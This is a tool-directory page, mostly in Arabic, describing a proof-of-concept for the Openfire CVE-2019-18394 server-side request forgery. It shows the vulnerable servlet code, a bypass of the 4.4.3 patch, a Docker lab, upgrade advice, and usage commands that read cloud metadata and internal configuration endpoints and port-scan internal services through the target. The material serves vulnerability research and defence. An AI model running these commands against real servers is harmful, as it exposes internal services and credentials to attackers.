Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
openfire-ssrf-cve-2019-18394 — PoC لـ CVE-2019-18394: SSRF بقراءة كاملة بدون مصادقة في Openfire <= 4.4.2 FaviconServlet | Kitploit
أدوات/GitHubGitHub/l0lsec/openfire-ssrf-cve-2019-18394
الاستطلاعماسحات الثغرات الأمنيةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubl0lsec/openfire-ssrf-cve-2019-18394

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

openfire-ssrf-cve-2019-18394

PoC لـ CVE-2019-18394: SSRF بقراءة كاملة بدون مصادقة في Openfire <= 4.4.2 FaviconServlet

عرض المستودع
منذ يوم واحدلم تتم المراجعة بعد

CVE-2019-18394: Openfire FaviconServlet SSRF

تزوير طلب من جانب الخادم (SSRF) بدون مصادقة في Ignite Realtime Openfire 4.4.2 والإصدارات الأقدم (وحدة تحكم المسؤول، منفذ TCP الافتراضي 9090/9091). تم إصلاحه في 4.4.3 (المشكلة OF-1885).

  • تزوير الطلب: يتم دمج المعامل host في عنوان URL صادر دون أي تحقق، لذا يُصدر الخادم طلب HTTP GET يختاره المهاجم.
  • كشف الاستجابة: عند استجابة HTTP 200 يُعاد جسم الاستجابة الخام من الخادم الأعلى إلى المستدعي. هذا SSRF بقراءة كاملة، وليس أعمى.
  • بدون مصادقة: المسار /getFavicon ليس خلف AuthCheckFilter الخاص بوحدة تحكم المسؤول ويستجيب حتى بينما لا يزال الخادم في حالته الأولية غير المُهيأة.

للاختبار المصرّح به فقط. كل ما هنا يستهدف مختبرًا محليًا تُقيمه بنفسك.

السبب الجذري

org.jivesoftware.util.FaviconServlet (Openfire 4.4.2):

root@kitploit:~
public void doGet(HttpServletRequest request, HttpServletResponse response) {
    String host = request.getParameter("host");                 // attacker-controlled
    host = "gmail.com".equals(host) ? "google.com" : host;
    byte[] bytes = getImage(host, defaultBytes);
    if (bytes != null) { writeBytesToStream(bytes, response); }  // body returned to caller
}

private byte[] getImage(String host, byte[] defaultImage) {
    ...
    byte[] bytes = getImage("http://" + host + "/favicon.ico");  // unvalidated concatenation
    ...
}

private byte[] getImage(String url) {
    ...
    try (CloseableHttpResponse response = client.execute(getRequest)) {
        if (response.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {
            return EntityUtils.toByteArray(response.getEntity());   // full body, not just an image
        }
    } ...
}

بدون مصادقة. في xmppserver/src/main/webapp/WEB-INF/web.xml، فلتر AuthCheck مُعيَّن فقط إلى *.jsp وPluginServlet وdwr-invoker. أما FaviconServlet فمُعيَّن إلى المسار العادي /getFavicon، لذا لا يعمل أي فلتر مصادقة عليه.

مسار عشوائي، وليس مجرد مضيف عشوائي. الكود يثبّت اللاحقة /favicon.ico بشكل صلب. إنهاء host بسلسلة استعلام يدفع تلك اللاحقة إلى قيمة معامل:

root@kitploit:~
host = of_internal/secret?x=    produces    http://of_internal/secret?x=/favicon.ico

المخطط مثبّت على http://. أهداف https:// غير قابلة للوصول مباشرة، لكن عميل الـ servlet يستخدم LaxRedirectStrategy، لذا فإن نقطة نهاية http التي تعيد التوجيه 302 إلى الأمام تصبح قابلة للوصول.

إصلاح 4.4.3 وحدوده

root@kitploit:~
final byte[] result = EntityUtils.toByteArray(response.getEntity());
if (!GraphicsUtils.isImage(result)) {   // OF-1885
    return null;                        // withhold non-image bodies
}
return result;

GraphicsUtils.isImage() هو ImageIO.read(bytes) != null، أي فحص للمحتوى وليس فحصًا للوجهة. شيئان ينجوان من الترقيع:

  • لا يزال الطلب الصادر المزوّر يُرسَل، لذا فإن SSRF الأعمى (فحص المنافذ، التفاعل مع الخدمات الداخلية، محاور إعادة التوجيه) لا يزال يعمل على 4.4.3.
  • أي استجابة تُحلَّل كصورة لا تزال تُعاد كاملة، ويمكن أن تتبع بيانات عشوائية بيانات الصورة، لذا فإن كشف القراءة الكاملة على شكل صورة لا يزال يعمل على 4.4.3.

أداة الكشف

  • كل النتائج هي HTTP 200، لذا يختلف النجاح والفشل فقط في الجسم. تلتقط الأداة بصمة الفشل عبر فرض طلبين مضمونَي الفشل (NXDOMAIN) ومقارنتهما. لا يُستخدم الملف /images/server_16x16.gif على القرص كخط أساس: فالخادم الذي فشل في تحميله عند التهيئة يعيد جسم فشل فارغ بدلاً من ذلك، وعدم تطابق الاثنين يعطي نتائج خاطئة.
  • يُؤكَّد الوجود هيكليًا: الفشل يجيب بـ 200 بينما مسار شقيق غير مُعيَّن يجيب بـ 404، مما يفصل تعيين FaviconServlet الحقيقي عن أي مسار شامل.
  • يخزّن FaviconServlet الإصابات والفشل مؤقتًا بمفتاح هو host الخام ويقطع الدائرة بعد فشلين. تضيف الأداة كاسر تخزين مؤقت فريد cb= إلى كل فحص حتى لا تُخدَم عمليات التشغيل المتكررة بنتائج قديمة.

الاستخدام

مكتبة Python 3 القياسية، بدون تبعيات.

root@kitploit:~
check   confirm the bug: unauth endpoint + out-of-band callback + response disclosure
read    fetch an arbitrary http:// URL through the target (full-read SSRF)
scan    probe internal TCP ports from the target's network position
root@kitploit:~
# confirm. --callback-host is the address the TARGET calls back to (IP or FQDN).
python3 cve_2019_18394_poc.py check -t 10.0.0.5:9090 --callback-host 192.168.1.20 --json out.json

# read an internal-only resource the tester cannot reach directly
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://127.0.0.1:8080/actuator/env
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://169.254.169.254/latest/meta-data/

# map internal services
python3 cve_2019_18394_poc.py scan -t 10.0.0.5:9090 --host 127.0.0.1 --ports 80,443,8080-8090

الخيارات: --callback-host (العنوان الذي يتصل به الهدف عائدًا)، --listen-bind / --listen-port (المستمع المحلي)، --marker-format gif (إعادة محتوى قابل لتحليل الصور يجتاز بوابة isImage() في 4.4.3)، --proxy، --json.

رموز الخروج: 0 نجاح، 1 اكتشاف، 2 خطأ أو غير قابل للاستغلال، 3 غير حاسم.

المختبر والنتائج المُتحقَّق منها

إعداد Docker تفاضلي: إصدار 4.4.2 القابل للاستغلال (وحدة التحكم على :9090)، وإصدار 4.4.3 المُرقَّع (على :9092)، وخدمة داخلية فقط لا يستطيع المضيف الوصول إليها مباشرة.

root@kitploit:~
docker network create cve18394_internal
printf '%s\n' '<h1>INTERNAL SERVICE</h1>' \
  'SECRET_FLAG=CVE-2019-18394_ssrf_reached_internal_service_ok' > /tmp/internal-index.html

# internal nginx: no host port mapping, so unreachable from the host, reachable from Openfire
docker run -d --name of_internal --network cve18394_internal \
  -v /tmp/internal-index.html:/usr/share/nginx/html/index.html:ro nginx:alpine

docker run -d --name of442 --network cve18394_internal -p 9090:9090 -p 9091:9091 \
  gizmotronic/openfire:4.4.2 && docker network connect bridge of442   # VULNERABLE

docker run -d --name of443 --network cve18394_internal -p 9092:9090 \
  gizmotronic/openfire:4.4.3 && docker network connect bridge of443   # PATCHED

لا يوجد لـ nginx الداخلي تعيين منفذ على المضيف، لذا فإن الجلب المباشر من المضيف يعيد HTTP 000، لكن Openfire يستطيع الوصول إليه. قراءة SECRET_FLAG الخاص به تُثبت أن الطلب عبر حدود الثقة. على Docker Desktop يصل الهدف إلى المستمع لديك عبر host.docker.internal (مرّره إلى --callback-host). على Docker الأصلي في Linux، استخدم عنوان البوابة docker0 أو احذف --callback-host للكشف التلقائي.

root@kitploit:~
# once both consoles answer on :9090 and :9092
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9090 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9092 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py read  -t 127.0.0.1:9090 -d http://of_internal/

وصل كل اتصال عائد بـ User-Agent: Apache-HttpClient/... (Java/...)، مما يؤكد أن الطلب جاء من عميل HTTP الخاص بـ Openfire نفسه، وليس من الأداة.

ملاحظة: نتيجة gif تؤكد SSRF القراءة الكاملة لكنها لا تميّز 4.4.2 من 4.4.3، لأن الكشف على شكل صورة يعمل على كليهما. استخدم علامة النص الافتراضية للتمييز بين ما قبل الإصلاح وما بعده.

read: كشف 4.4.2 عن SECRET_FLAG الداخلي؛ حجب 4.4.3 صفحة HTML لكنه لا يزال يعيد ملف .gif داخلي تم جلبه عبر حيلة المسار.

root@kitploit:~
docker rm -f of442 of443 of_internal && docker network rm cve18394_internal   # tear down

المعالجة

قم بالترقية إلى Openfire 4.4.3 أو أحدث. إصلاح isImage() لا يوقف الطلب الصادر أو الكشف على شكل صورة، لذا حيث تكون ميزة وكيل الأيقونات المفضلة غير ضرورية، قيّد أيضًا الخروج من مضيف Openfire وضع وحدة تحكم المسؤول (9090/9091) خلف ضوابط الشبكة.

الملفات

root@kitploit:~
cve_2019_18394_poc.py   the PoC (check / read / scan), Python 3 stdlib, no dependencies
README.md               this document

يكتب check سجل أدلة JSON عند تمرير --json <file>.

تنزيل الأداة
الهدفالعلامةالاتصال العائدالجسم المكشوفالحكمالخروج
4.4.2 (قابل للاستغلال)نصنعمنعم، حرفيًاVULNERABLE (غير مُرقَّع)1
4.4.3 (مُرقَّع)نصنعملا، محجوب بواسطة isImage()PARTIALLY_MITIGATED (SSRF أعمى)1
4.4.3 (مُرقَّع)gifنعمنعم، صورة + نص تابعVULNERABLE قراءة كاملة (انظر الملاحظة)1
غير Openfire (nginx)لا ينطبقلا ينطبقلا ينطبقنقطة النهاية غائبة2